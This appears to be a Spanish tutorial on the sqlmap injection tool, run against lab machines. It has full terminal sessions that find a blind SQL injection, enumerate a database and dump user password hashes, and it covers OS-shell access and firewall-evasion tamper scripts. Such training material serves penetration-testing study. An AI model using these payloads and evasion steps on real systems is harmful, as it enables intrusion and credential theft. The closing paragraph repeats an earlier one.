SQLMAP

y algunas de sus utilidades

Featured image

SQLMAP es una herramienta de código abierto diseñada para detectar y explotar vulnerabilidades de inyección SQL en aplicaciones web. Automatiza el proceso de encontrar parámetros vulnerables, extraer información de bases de datos y, en muchos casos, obtener acceso total al sistema.

Lo que hace especial a sqlmap es su amplio soporte para diferentes motores de bases de datos (DBMS), lo que le permite adaptarse a casi cualquier entorno. Además, ofrece funciones avanzadas como:


Bases de datos compatibles

SQLMap tiene el mayor soporte para DBMS de cualquier otra herramienta de explotación de SQL. Es totalmente compatible con los siguientes sistemas:

DBMS DBMS DBMS DBMS
MySQL Oracle PostgreSQL Microsoft SQL Server
SQLite IBM DB2 Microsoft Access Firebird
Sybase SAP MaxDB Informix MariaDB
HSQLDB CockroachDB TiDB MemSQL
H2 MonetDB Apache Derby Amazon Redshift
Vertica, Mckoi Presto Altibase MimerSQL
CrateDB Greenplum Drizzle Apache Ignite
Cubrid InterSystems Cache IRIS eXtremeDB
FrontBase      

Parámetros base

Parámetro Utilidad
-u Indicar el url.
-p Parámetro que se inyecta.
–technique Tipo de técnica de explotación (por ej. U es UNION).
–cookie Indicar la cookie de sesión.
–dbs Lista las base de datos disponibles.
–batch Ejecuta la herramienta en modo automático, es decir, responde de manera predeterminada a todas las preguntas que normalmente aparecerían en pantalla.
–random-agent Va cambiando por cada consulta el User-Agent.
–banner Detección de banner.
-r Solicita archivo como entrada.
–os-shell Abrir una shell interactiva en el sistema operativo del servidor de la base de datos.

Una de las mayores fortalezas de sqlmap es que puede detectar y explotar una gran cantidad de inyecciones SQL.
Al ejecutar el comando sqlmap -hh se muestra, entre otras cosas, la opción --technique, que permite indicar qué métodos de inyección se desean probar.
Por defecto, sqlmap utiliza el conjunto "BEUSTQ", donde cada letra corresponde a una técnica distinta:

Ejemplo

sqlmap -u "http://ejemplo.com/vuln.php?id=1" --technique=BEU

Usos básicos

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' -p id


┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' -p id --technique=U


┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' --tables

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' -D <nombre de base de datos> -T <nombre de tabla> --columns


┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' -D <nombre de base de datos> -T <nombre de tabla> --dump


┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' -D <nombre de base de datos> -T <nombre de tabla> -C <nombre de las columnas (separadas por coma)> --dump

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' --os-shell

POST

Lo visto anteriormente es una explotación por el método GET, sin embargo también se puede realizar por POST, de la siguiente forma:

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u '<URL>' --data <POST string> -p id

Otra forma de especificar un método HTTP alternativo, distinto de GET y POST (por ejemplo, PUT), podemos utilizar la opción –method.

Por ejemplo si queremos ejecutarlo y ya tenemos una sesión, se ocupa lo siguiente en el caso de que no se conozca el servicio (MySQL, SQL Server, PostgreSQL, etc):

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' --cookie="PHPSESSID=cookie-de-sesión" --dbs --batch --random-agent

Ahora si conocemos el servicio, se ocupa el parámetro --dbms, por ejemplo:

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' --cookie="PHPSESSID=cookie-de-sesión" --dbs --batch --random-agent --dbms=mysql

Una vez se termina el proceso, deberíamos poder ver las base de datos y ahora para realizar las consultas se reemplaza el párametro --dbs por -D, en el cual se le indica el nombre de la base de datos encontrada:

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' --cookie="PHPSESSID=cookie-de-sesión" --D databasename --batch --random-agent --dbms=mysql

Y ahora para buscar las tablas de la base de datos se ocupa el parámetro --tables:

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' --cookie="PHPSESSID=cookie-de-sesión" --D databasename --tables --batch --random-agent --dbms=mysql

Si conseguimos obtener las tablas pues ahora de una tabla -T, podemos buscar sus columnas --columns:

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' --cookie="PHPSESSID=cookie-de-sesión" --D databasename -T tablename --columns --batch --random-agent --dbms=mysql

Una vez realizado este proceso, si se encuentran columnas con posibles datos sensibles, pues se procede a obtener estos datos (dumpear), a través del parámetro --dump(se selecciona la(s) columna(s) con -C), por ejemplo:

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -u 'http://10.0.0.1/view.php?mod=admin&view=repod&id=plans' --cookie="PHPSESSID=cookie-de-sesión" --D databasename -T tablename -C name,pass --dump --batch --random-agent --dbms=mysql

Y así es como finalmente tendríamos los datos que queremos para por ejemplo iniciar sesión con credenciales de otros usuarios y/o administradores.

Uso de solicitud de Burpsuite

Interceptando con Burpsuite podemos guardar la “request” copiando manualmente o de la siguiente forma:

sqlmap1

sqlmap2

sqlmap3

Consejo: Podemos especificar el parámetro que queremos inyectar con un asterisco, como ‘/?id=*’ dentro del archivo.

Una vez obtenemos el archivo guardado con el siguiente comando podremos probar inyecciones:

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -r request.txt                                                         
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.5#pip}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:14:26 /2023-08-14/

[11:14:26] [INFO] parsing HTTP request from 'request.txt'
[11:14:26] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.11.116/account.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[11:14:33] [INFO] checking if the target is protected by some kind of WAF/IPS
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
[11:14:37] [INFO] testing if the target URL content is stable
[11:14:37] [WARNING] POST parameter 'username' does not appear to be dynamic
[11:14:38] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[11:14:38] [INFO] heuristic (XSS) test shows that POST parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks
[11:14:38] [INFO] testing for SQL injection on POST parameter 'username'
[11:14:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:14:38] [WARNING] reflective value(s) found and filtering out
[11:14:42] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:14:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:14:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[11:14:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[11:14:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[11:14:50] [INFO] testing 'Generic inline queries'
[11:14:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[11:14:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[11:14:54] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[11:14:55] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[11:14:57] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[11:14:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[11:15:01] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[11:15:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:15:14] [WARNING] POST parameter 'username' does not seem to be injectable
[11:15:14] [WARNING] POST parameter 'country' does not appear to be dynamic
[11:15:15] [WARNING] heuristic (basic) test shows that POST parameter 'country' might not be injectable
[11:15:15] [INFO] heuristic (XSS) test shows that POST parameter 'country' might be vulnerable to cross-site scripting (XSS) attacks
[11:15:15] [INFO] testing for SQL injection on POST parameter 'country'
[11:15:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:15:19] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:15:20] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:15:21] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[11:15:23] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[11:15:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[11:15:27] [INFO] testing 'Generic inline queries'
[11:15:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[11:15:29] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[11:15:30] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[11:15:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[11:15:43] [INFO] POST parameter 'country' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y

[11:16:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:16:01] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[11:16:02] [INFO] checking if the injection point on POST parameter 'country' is a false positive
POST parameter 'country' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 129 HTTP(s) requests:
---
Parameter: country (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test&country=Brazil' AND (SELECT 2979 FROM (SELECT(SLEEP(5)))whAQ) AND 'bjpm'='bjpm
---
[11:16:36] [INFO] the back-end DBMS is MySQL
[11:16:36] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux Debian 11 (bullseye)
web application technology: PHP 7.4.23, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:16:48] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.10.11.116'

[*] ending @ 11:16:48 /2023-08-14/

Obtener bases de datos

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -r request.txt --dbs
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.5#pip}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:18:57 /2023-08-14/

[11:18:57] [INFO] parsing HTTP request from 'request.txt'
[11:18:57] [INFO] resuming back-end DBMS 'mysql' 
[11:18:57] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.11.116/account.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: country (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test&country=Brazil' AND (SELECT 2979 FROM (SELECT(SLEEP(5)))whAQ) AND 'bjpm'='bjpm
---
[11:19:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 11 (bullseye)
web application technology: Apache 2.4.48, PHP 7.4.23
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:19:03] [INFO] fetching database names
[11:19:03] [INFO] fetching number of databases
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y                                         
.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[11:19:26] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
4
[11:19:28] [INFO] retrieved: 
[11:19:39] [INFO] adjusting time delay to 4 seconds due to good response times
information_schema
[11:24:07] [INFO] retrieved: performance_schema
[11:28:34] [INFO] retrieved: mysql
[11:29:52] [INFO] retrieved: registration
available databases [4]:
[*] `registration`
[*] information_schema
[*] mysql
[*] performance_schema

[11:32:47] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.10.11.116'

[*] ending @ 11:32:47 /2023-08-14/

Obtener tablas

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -r request.txt -D registration --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.5#pip}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:41:20 /2023-08-14/

[11:41:20] [INFO] parsing HTTP request from 'request.txt'
[11:41:20] [INFO] resuming back-end DBMS 'mysql' 
[11:41:20] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.11.116/account.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: country (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test&country=Brazil' AND (SELECT 2979 FROM (SELECT(SLEEP(5)))whAQ) AND 'bjpm'='bjpm
---
[11:41:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 11 (bullseye)
web application technology: PHP 7.4.23, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:41:25] [INFO] fetching tables for database: 'registration'
[11:41:25] [INFO] fetching number of tables for database 'registration'
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y                                         
.............................. (done)
[11:41:39] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 
[11:42:32] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
1
[11:42:34] [INFO] retrieved: 
[11:42:45] [INFO] adjusting time delay to 4 seconds due to good response times
registration
Database: registration
[1 table]
+--------------+
| registration |
+--------------+

[11:45:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.10.11.116'

[*] ending @ 11:45:32 /2023-08-14/

Dumpear información de tablas

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -r request.txt -D registration -T registration --dump
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.7.5#pip}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:46:55 /2023-08-14/

[11:46:55] [INFO] parsing HTTP request from 'request.txt'
[11:46:55] [INFO] resuming back-end DBMS 'mysql' 
[11:46:55] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.11.116/account.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: country (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test&country=Brazil' AND (SELECT 2979 FROM (SELECT(SLEEP(5)))whAQ) AND 'bjpm'='bjpm
---
[11:46:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 11 (bullseye)
web application technology: PHP 7.4.23, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:46:59] [INFO] fetching columns for table 'registration' in database 'registration'
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y                                         
.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[11:47:21] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
4
[11:47:23] [INFO] retrieved: 
[11:47:33] [INFO] adjusting time delay to 4 seconds due to good response times
username
[11:49:16] [INFO] retrieved: userhash
[11:51:15] [INFO] retrieved: country
[11:53:09] [INFO] retrieved: regtime
[11:54:48] [INFO] fetching entries for table 'registration' in database 'registration'
[11:54:48] [INFO] fetching number of entries for table 'registration' in database 'registration'
[11:54:48] [INFO] retrieved: 84
[11:55:27] [WARNING] reflective value(s) found and filtering out of statistical model, please wait                                                                                                                                          
.............................. (done)

Dumpear contenido de la columna

┌─[root@kali]─[/Documents/machines/demo/]
└──╼ sqlmap -r request.txt -D registration -T registration -C userhash --dump
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.5#pip}
|_ -| . [']     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:36:35 /2023-08-14/

[12:36:35] [INFO] parsing HTTP request from 'request.txt'
[12:36:35] [INFO] resuming back-end DBMS 'mysql' 
[12:36:35] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.11.116/account.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: country (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test&country=Brazil' AND (SELECT 2979 FROM (SELECT(SLEEP(5)))whAQ) AND 'bjpm'='bjpm
---
[12:36:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 11 (bullseye)
web application technology: Apache 2.4.48, PHP 7.4.23
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[12:36:39] [INFO] fetching entries of column(s) 'userhash' for table 'registration' in database 'registration'
[12:36:39] [INFO] fetching number of column(s) 'userhash' entries for table 'registration' in database 'registration'
[12:36:39] [INFO] resumed: 84
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y                                         
[12:36:41] [WARNING] reflective value(s) found and filtering out
.............................. (done)
[12:36:53] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[12:38:57] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[12:39:09] [INFO] adjusting time delay to 4 seconds due to good response times
035e1452e4a35a4922809c85c13e39d4
[12:47:36] [INFO] retrieved: 0468a6a9d9194eafeac8c745def83601
[12:56:10] [INFO] retrieved: 061e4d8e0a45807b63078626l

Uso de solicitud de cURL

Otra forma de ejecutar sqlmap es a través de comandos cURL. Para ello, podemos copiar la petición en formato cURL (ya sea desde el navegador o desde BurpSuite).

sqlmap6

Posteriormente limpiamos los elementos innecesarios y añadimos los parámetros que consideremos relevantes antes de ejecutarla.

┌──(root㉿nptg)-[/home/…/Documentos/HTB/Academy/CBBH]
└─# sqlmap 'http://94.237.57.115:46302/case4.php' --batch \
  -H 'Accept: */*' \
  -H 'Accept-Language: es,es-ES;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6,zh;q=0.5' \
  -H 'Content-Type: application/json' \
  -b 'PHPSESSID=qie5s83itbn6vgk4a90iff1q0n; cookie=4d325268597a6b7a596a686a5a4449314d4746684f474d7859544d325a6d5a6d597a63355954453359513d3d' \
  -H 'Origin: http://94.237.57.115:46302' \
  -H 'Proxy-Connection: keep-alive' \
  -H 'Referer: http://94.237.57.115:46302/case4.php' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36' \
  --data-raw '{"id":1*}'
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.9.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:29:02 /2025-09-22/

custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[17:29:02] [INFO] resuming back-end DBMS 'mysql' 
[17:29:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: {"id":"1 AND 2686=2686"}

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {"id":"1 AND (SELECT 4960 FROM(SELECT COUNT(*),CONCAT(0x71707a6b71,(SELECT (ELT(4960=4960,1))),0x716a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)"}

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: {"id":"1;SELECT SLEEP(5)#"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"id":"1 AND (SELECT 9169 FROM (SELECT(SLEEP(5)))sLwX)"}

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: {"id":"1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71707a6b71,0x4f576e644d72726753756d7947464e487555754548737350594e566b79474372435859534e6b6c4b,0x716a7a7671),NULL,NULL-- -"}
---
[17:29:03] [INFO] the back-end DBMS is MySQL
[17:29:03] [INFO] fetching banner
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
banner: '10.3.23-MariaDB-0+deb10u1'
[17:29:03] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/94.237.57.115'

[*] ending @ 17:29:03 /2025-09-22/

Aumento de nivel y riesgo

En sqlmap, las opciones --level y --risk permiten ajustar la profundidad y agresividad de las pruebas.

En la mayoría de los casos no conviene modificar estos parámetros, ya que ralentizan el proceso sin aportar beneficios significativos. No obstante, en escenarios más complejos —como formularios de login donde se requieren cargas OR para validar la inyección— puede ser necesario incrementar el nivel y el riesgo. Para observar qué payloads se están utilizando en cada configuración, basta con activar la verbosidad (-v 3 o superior).

Bypass WAF

Tamper

Los tamper scripts son pequeños módulos en Python que modifican las payloads de sqlmap para evadir filtros o adaptarse a ciertos motores de bases de datos.
A continuación, una lista con algunos de los más usados y su descripción:

Tamper-Script Descripción
0eunion Reemplaza las instancias de UNION por e0UNION.
base64encode Codifica en Base64 todos los caracteres de la payload.
between Reemplaza el operador > por NOT BETWEEN 0 AND # y el operador = por BETWEEN # AND #.
commalesslimit Reemplaza en MySQL expresiones como LIMIT M, N por su equivalente LIMIT N OFFSET M.
equaltolike Reemplaza todas las ocurrencias del operador = por LIKE.
halfversionedmorekeywords Agrega, en MySQL, un comentario versionado antes de cada palabra clave.
modsecurityversioned Envuelve toda la consulta con un comentario versionado de MySQL.
modsecurityzeroversioned Envuelve toda la consulta con un comentario versionado de cero en MySQL.
percentage Añade un signo % delante de cada carácter (ejemplo: SELECT%S%E%L%E%C%T).
plus2concat Reemplaza el operador + por la función CONCAT() de MS-SQL.
randomcase Reemplaza cada palabra clave con combinaciones aleatorias de mayúsculas y minúsculas (ejemplo: SELECTSEleCt).
space2comment Reemplaza los espacios por comentarios /**/.
space2dash Reemplaza los espacios por -- seguido de una cadena aleatoria y un salto de línea.
space2hash Reemplaza en MySQL los espacios por # seguido de una cadena aleatoria y un salto de línea.
space2mssqlblank Reemplaza en MS-SQL los espacios por un carácter en blanco alternativo válido.
space2plus Reemplaza los espacios por el signo +.
space2randomblank Reemplaza los espacios por un carácter en blanco aleatorio de un conjunto válido.
symboliclogical Reemplaza los operadores lógicos AND y OR por sus equivalentes simbólicos && y ||.
versionedkeywords Encierra cada palabra clave (no función) con un comentario versionado de MySQL.
versionedmorekeywords Encierra cada palabra clave con un comentario versionado de MySQL.

Nota: Para listar todos los tamper scripts disponibles con su descripción, puedes usar sqlmap –list-tampers

Chunked

En SQLMap, la opción --chunked activa la codificación de transferencia fragmentada (chunked transfer encoding). Esto significa que, en lugar de enviar el cuerpo de una petición HTTP POST como un bloque único, se divide en pequeños fragmentos (“chunks”).

Muchos firewalls y filtros web detectan palabras clave SQL (como UNION o SELECT) buscando esas cadenas completas en el tráfico. Cuando se usa --chunked, esas palabras se parten en varios fragmentos, por lo que el filtro puede no reconocerlas, aunque el servidor de destino sí reconstruye todo y ejecuta la consulta.

Análisis manual

Con la opción –proxy, sqlmap permite redirigir todo su tráfico a través de un proxy, como BurpSuite. De esta manera, cada petición generada por la herramienta pasa primero por el proxy, lo que facilita analizar manualmente las solicitudes, repetirlas y aprovechar todas las funcionalidades que Burp ofrece para la manipulación y estudio del tráfico.

Muchos firewalls y filtros web detectan palabras clave SQL (como UNION o SELECT) buscando esas cadenas completas en el tráfico. Cuando se usa --chunked, esas palabras se parten en varios fragmentos, por lo que el filtro puede no reconocerlas, aunque el servidor de destino sí reconstruye todo y ejecuta la consulta.